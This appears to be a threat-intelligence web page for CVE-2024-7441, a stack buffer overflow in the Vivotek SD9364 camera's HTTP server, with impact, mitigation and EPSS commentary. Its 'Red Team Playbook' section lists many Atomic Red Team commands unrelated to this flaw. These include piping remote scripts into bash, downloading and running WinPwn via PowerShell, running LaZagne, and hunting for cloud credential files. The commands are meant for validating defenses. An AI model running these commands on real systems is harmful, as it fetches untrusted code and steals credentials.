CVE-2024-7441
Overview
This vulnerability is a stack-based buffer overflow caused by improper handling of the Content-Length HTTP header in the httpd component of Vivotek SD9364 firmware. The flaw arises when the read function processes the Content-Length argument without adequate bounds checking, leading to memory corruption. The affected component is the embedded HTTP server responsible for handling incoming HTTP requests.
Vulnerability Description
** UNSUPPORTED WHEN ASSIGNED ** A vulnerability was found in Vivotek SD9364 VVTK-0103f. It has been declared as critical. This vulnerability affects the function read of the component httpd. The manipulation of the argument Content-Length leads to stack-based buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-273526 is the identifier assigned to this vulnerability. NOTE: This vulnerability only affects products that are no longer supported by the maintainer. NOTE: Vendor was contacted early and confirmed that the affected release tree is end-of-life.
Impact
An attacker with network access can remotely exploit this vulnerability by sending a specially crafted HTTP request containing a malicious Content-Length header. The attack requires no user interaction and only low-level privileges (PR:L) on the device. Successful exploitation can lead to arbitrary code execution with high confidentiality, integrity, and availability impact (CVSS 8.8), potentially allowing full system compromise, data manipulation, or service disruption on the affected device.
Solution
Since the affected Vivotek SD9364 firmware (VVTK-0103f) is end-of-life and no longer supported by the vendor, no official patches or updates are available. Users are advised to discontinue use of the affected product or isolate it from untrusted networks. For further details, refer to the vulnerability report at https://vuldb.com/?id.273526 for any vendor advisories or community-provided mitigation guidance.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical vulnerability has been identified in the Vivotek SD9364 camera, specifically within the HTTP daemon (httpd) component. The core issue lies in improper handling of the Content-Length argument, which can lead to a stack-based buffer overflow. This flaw allows an attacker to manipulate the input length, potentially overwriting the stack and executing arbitrary code. Given that this vulnerability affects a component of a widely deployed surveillance camera, the implications are significant, particularly for environments relying on these devices for security monitoring.
Exploitation of this vulnerability can occur remotely, meaning that an attacker does not need physical access to the device to initiate an attack. By sending specially crafted HTTP requests with manipulated Content-Length headers, an attacker can trigger the buffer overflow condition. This could lead to unauthorized access, allowing the attacker to gain control over the camera, alter its settings, or even access the video feed. The potential for remote exploitation amplifies the risk, as it opens the door for attacks from anywhere on the internet, making it a prime target for malicious actors.
The real-world impact of this vulnerability is substantial, particularly for businesses and organizations that utilize Vivotek SD9364 cameras for surveillance and security purposes. If exploited, the attacker could not only compromise the integrity of the surveillance system but also gain access to sensitive information captured by the cameras. This could lead to breaches of privacy, loss of proprietary information, and potential legal ramifications. Furthermore, the fact that the affected product is no longer supported by the vendor exacerbates the risk, as there will be no patches or updates to mitigate the vulnerability. Organizations using these devices may face significant business risks, including reputational damage and financial losses stemming from data breaches or compromised security.
To detect and mitigate this vulnerability, organizations should first conduct an inventory of their networked devices to identify any instances of the affected camera model. Regular security assessments and penetration testing can help uncover potential vulnerabilities before they are exploited. For those still using the Vivotek SD9364, immediate steps should be taken to isolate the device from the network, especially if it is exposed to the internet. Implementing network segmentation can help limit the potential attack surface. Additionally, organizations should consider replacing unsupported devices with newer models that receive regular security updates and patches.
In conclusion, the vulnerability present in the Vivotek SD9364 camera represents a significant threat to organizations that rely on this technology for security monitoring. The combination of remote exploitability and the lack of vendor support creates a perfect storm for potential exploitation. Organizations must take proactive measures to identify, isolate, and replace vulnerable devices to safeguard their networks and sensitive information. As the threat landscape continues to evolve, maintaining an up-to-date inventory of devices and implementing robust security practices will be essential in mitigating risks associated with unsupported technology.
CSURFACE threat intelligence has detected a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-7441, rising by over 50% to place the vulnerability near the 94th percentile for exploit likelihood. This upward trend, while not classified as rapidly accelerating, indicates growing confidence in the exploitability of the Vivotek SD9364 stack-based buffer overflow flaw. Although no new exploit variants or active exploitation campaigns have been observed by our sensors, the elevated EPSS score reflects heightened attacker interest and potential preparatory activity in underground forums or testing environments. For defenders, this shift underscores an increased risk that adversaries may soon leverage publicly disclosed exploit code to target vulnerable devices, especially given the product’s unsupported status. Consequently, the threat level associated with CVE-2024-7441 should be considered elevated, warranting closer monitoring and prioritization within vulnerability management workflows.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Vivotek | Sd9364 Firmware | N/A |
cpe:2.3:o:vivotek:sd9364_firmware:-:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-7441 |
| vuldb.com |
GitHub CVE
vdb-entry
technical-description
|
https://vuldb.com/?id.273526 |
| vuldb.com |
GitHub CVE
signature
permissions-required
|
https://vuldb.com/?ctiid.273526 |
| vuldb.com |
GitHub CVE
third-party-advisory
|
https://vuldb.com/?submit.383842 |
| yjz233.notion.site |
GitHub CVE
broken-link
exploit
|
https://yjz233.notion.site/vivotek-SD9364-has-stack-buffer-overflow-vulnerability-in-httpd-c9dabd0511d04093865d1d75110429d1?pvs=4 |